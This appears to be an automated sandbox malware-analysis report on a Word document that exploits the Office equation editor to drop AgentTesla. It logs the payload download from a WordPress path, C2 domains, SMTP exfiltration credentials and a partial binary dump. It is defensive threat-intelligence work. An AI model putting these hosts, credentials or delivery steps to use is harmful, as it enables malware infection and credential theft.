Play interactive tour

Edit tour

Analysis Report payment_advice.doc

Overview

General Information

Sample Name:	payment_advice.doc
Analysis ID:	356799
MD5:	0ea6e37e930278b71774ae91d68bb879
SHA1:	5e3721c21b04c30c0f2d3b7e83b7bb506fd55cb8
SHA256:	3fda6eb4d90828826854806f1956d0d4a20bf5f95eb917370ff05ba5ba1dde66
Tags:	doc
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AgentTesla

Binary contains a suspicious time stamp

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w7x64

WINWORD.EXE (PID: 2472 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

EQNEDT32.EXE (PID: 2300 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

twox67345.exe (PID: 2292 cmdline: C:\Users\user\AppData\Roaming\twox67345.exe MD5: 3DC83F17122DD592D607424A54C1E9CB)

cmd.exe (PID: 2944 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: AD7B9C14083B52BC532FBA5948342B98)

timeout.exe (PID: 2996 cmdline: timeout 1 MD5: 419A5EF8D76693048E4D6F79A5C875AE)

twox67345.exe (PID: 2936 cmdline: C:\Users\user\AppData\Roaming\twox67345.exe MD5: 3DC83F17122DD592D607424A54C1E9CB)

twox67345.exe (PID: 2952 cmdline: C:\Users\user\AppData\Roaming\twox67345.exe MD5: 3DC83F17122DD592D607424A54C1E9CB)

UGxXf.exe (PID: 2500 cmdline: 'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe' MD5: 3DC83F17122DD592D607424A54C1E9CB)

cmd.exe (PID: 2924 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: AD7B9C14083B52BC532FBA5948342B98)

timeout.exe (PID: 2984 cmdline: timeout 1 MD5: 419A5EF8D76693048E4D6F79A5C875AE)

UGxXf.exe (PID: 648 cmdline: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe MD5: 3DC83F17122DD592D607424A54C1E9CB)

UGxXf.exe (PID: 1836 cmdline: 'C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe' MD5: 3DC83F17122DD592D607424A54C1E9CB)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "pEOdpd0kIi", "URL: ": "https://n2pGpXVLT5FR.net", "To: ": "", "ByHost: ": "mail.tpcdel.com:587", "Password: ": "ki7OGHHnlVdG04A", "From: ": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2274734212.000000000368E000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000010.00000002.2360028702.00000000022B1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.2358876665.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000010.00000002.2358961317.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000B.00000002.2334670047.000000000374E000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: UGxXf.exe PID: 2500	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: twox67345.exe PID: 2292	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: twox67345.exe PID: 2952	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: twox67345.exe PID: 2952	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.UGxXf.exe.39bd920.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.twox67345.exe.38b4700.9.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.twox67345.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.UGxXf.exe.3974700.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.twox67345.exe.38fd920.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.UGxXf.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.UGxXf.exe.3974700.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.twox67345.exe.38fd920.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.UGxXf.exe.39bd920.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.twox67345.exe.38b4700.9.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Users\user\AppData\Roaming\twox67345.exe, CommandLine: C:\Users\user\AppData\Roaming\twox67345.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\twox67345.exe, NewProcessName: C:\Users\user\AppData\Roaming\twox67345.exe, OriginalFileName: C:\Users\user\AppData\Roaming\twox67345.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2300, ProcessCommandLine: C:\Users\user\AppData\Roaming\twox67345.exe, ProcessId: 2292

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 150.95.81.183, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2300, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2300, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://tunedinblog.com/wp-includes/twox.exe

Avira URL Cloud: Label: malware

Found malware configuration

Show sources

Source: twox67345.exe.2952.9.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "pEOdpd0kIi", "URL: ": "https://n2pGpXVLT5FR.net", "To: ": "", "ByHost: ": "mail.tpcdel.com:587", "Password: ": "ki7OGHHnlVdG04A", "From: ": ""}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\twox67345.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	ReversingLabs: Detection: 37%

Multi AV Scanner detection for submitted file

Show sources

Source: payment_advice.doc

ReversingLabs: Detection: 43%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\user\AppData\Roaming\twox67345.exe

Jump to behavior

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Show sources

Source:	Binary string: nVisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbisualBasic.pdbPe$ source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: ,micC:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.PDBe source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: nLC:\Windows\Microsoft.VisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: oC:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.PDB, source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb3E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp
Source:	Binary string: \REGISTRY\USER\S-1-5-21-966771315-3019405637-367336477-1006_Classes\Wow6432Node\CLSID\{0A29FF9E-7F9C-4UGxXf.PDB424491E3931}\Servererver32 source: UGxXf.exe, 0000000B.00000002.2329057771.00000000002C7000.00000004.00000010.sdmp
Source:	Binary string: :\Windows\mscorlib.pdbpdblib.pdb source: UGxXf.exe, 0000000B.00000002.2329868830.00000000006EA000.00000004.00000020.sdmp
Source:	Binary string: :\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: UGxXf.exe, 0000000B.00000002.2341228895.00000000054D1000.00000004.00000001.sdmp

Software Vulnerabilities:

Source: global traffic

DNS query: name: tunedinblog.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 150.95.81.183:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 150.95.81.183:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2021697 ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious 192.168.2.22:49165 -> 150.95.81.183:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://n2pGpXVLT5FR.net

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.35.120.75:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 23 Feb 2021 15:53:54 GMTServer: Apache/2.2.31 (CentOS)Last-Modified: Tue, 23 Feb 2021 07:25:52 GMTETag: "211e7-99b78-5bbfbd40d5228"Accept-Ranges: bytesContent-Length: 629624Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b9 be 7d f2 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 7c 09 00 00 06 00 00 00 00 00 00 2e 9b 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 8c 7e 0a 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 9a 09 00 57 00 00 00 00 a0 09 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 84 09 00 78 17 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 7b 09 00 00 20 00 00 00 7c 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e0 03 00 00 00 a0 09 00 00 04 00 00 00 7e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 82 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 9b 09 00 00 00 00 00 48 00 00 00 02 00 05 00 58 61 09 00 7c 39 00 00 03 00 02 00 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 22 02 28 17 00 00 0a 00 2a a6 73 18 00 00 0a 80 01 00 00 04 73 19 00 00 0a 80 02 00 00 04 73 0b 00 00 06 80 03 00 00 04 73 1a 00 00 0a 80 04 00 00 04 2a 42 02 28 17 00 00 0a 00 00 02 28 09 00 00 06 00 2a 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 58 01 00 70 fe 0e 01 00 72 5c 01 00 70 fe 0e 02 00 73 19 00 00 0a fe 0e 03 00 2b 06 fe 16 20 00 00 01 fe 0c 01 00 28 01 00 00 2b 6f 2c 00 00 0a fe 0e 04 00 38 38 00 00 00 fe 0d 04 00 28 2d 00 00 0a fe 0e 05 00 fe 0c 05 00 28 2e 00 00 0a fe 0c 02 00 28 13 00 00 0a da fe 0e 06 00 fe 0c 03 00 fe 0c 06 00 28 2f 00 00 0a 6f 25 00 00 0a 26 00 fe 0d 04 00 28 30 00 00 0a fe 0e 07 00 fe 0c 07 00 3a b2 ff ff ff dd 11 00 00 00 fe 0d 04 00 fe 16 05 00 00 1b 6f 27 00 00 0a 00 dc fe 0c 03 00 6f 31 00 00 0a fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 2a 00 00 01 10 00 00 02 00 24 00 6a 8e 00 11 00 00 00 00 1b 30 02 00 b6 00 00 00 06 00 00 11 00 72 68 01 00 70 fe 0e 01 00 72 7e 01 00 70 fe 0e 02

Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com

Source: Joe Sandbox View

IP Address: 172.67.172.17 172.67.172.17

Source: Joe Sandbox View

ASN Name: GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.35.120.75:587

Source: global traffic

HTTP traffic detected: GET /wp-includes/twox.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tunedinblog.comConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B08F3ED-537D-406E-B057-1B1541B1D39D}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /wp-includes/twox.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tunedinblog.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4AE44766E50C275550C63C95498C19FE.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/C56E2AF17B6C065E85DB9FFDA54E4A78.html HTTP/1.1Host: coroloboxorozor.com

Source: unknown

DNS traffic detected: queries for: tunedinblog.com

Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com
Source: twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, twox67345.exe, 00000004.00000002.2272168458.00000000007BC000.00000004.00000020.sdmp, UGxXf.exe, 0000000B.00000002.2329693742.000000000069C000.00000004.00000020.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com/base/4AE44766E50C275550C63C95498C19FE.html
Source: twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com/base/C56E2AF17B6C065E85DB9FFDA54E4A78.html
Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: twox67345.exe, 00000009.00000002.2360313482.0000000002814000.00000004.00000001.sdmp	String found in binary or memory: http://mail.tpcdel.com
Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: twox67345.exe, 00000004.00000002.2283901109.00000000059F0000.00000002.00000001.sdmp, twox67345.exe, 00000009.00000002.2363872886.0000000005DA0000.00000002.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2341353479.0000000005A80000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: twox67345.exe, 00000004.00000002.2272663469.00000000022D1000.00000004.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2330351390.0000000002391000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: twox67345.exe, 00000004.00000002.2283901109.00000000059F0000.00000002.00000001.sdmp, twox67345.exe, 00000009.00000002.2363872886.0000000005DA0000.00000002.00000001.sdmp, UGxXf.exe, 0000000B.00000002.2341353479.0000000005A80000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: twox67345.exe, 00000009.00000002.2360157880.0000000002701000.00000004.00000001.sdmp	String found in binary or memory: https://n2pGpXVLT5FR.net
Source: twox67345.exe, 00000009.00000002.2363471137.0000000005970000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

Show sources

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\twox67345.exe			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe			Jump to behavior

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior

System Summary:

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\twox67345.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\twox[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\wPLpKMo\UGxXf.exe

Code function: 11_2_0679C010 NtSetInformationThread,

11_2_0679C010

Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00601A69	9_2_00601A69
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00600048	9_2_00600048
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00601788	9_2_00601788
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0060408A	9_2_0060408A
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00600115	9_2_00600115
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_006005B0	9_2_006005B0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061B4B0	9_2_0061B4B0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00616898	9_2_00616898
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00617128	9_2_00617128
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061C900	9_2_0061C900
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061D108	9_2_0061D108
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_006189BF	9_2_006189BF
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00614A08	9_2_00614A08
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00617467	9_2_00617467
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061342F	9_2_0061342F
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061908D	9_2_0061908D
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061812F	9_2_0061812F
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00617118	9_2_00617118
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061F5E8	9_2_0061F5E8
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061A1C0	9_2_0061A1C0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061A1B0	9_2_0061A1B0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061F180	9_2_0061F180
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061764F	9_2_0061764F
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_006132E0	9_2_006132E0
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_00615ABE	9_2_00615ABE
Source: C:\Users\user\AppData\Roaming\twox67345.exe	Code function: 9_2_0061AF28	9_2_0061AF28
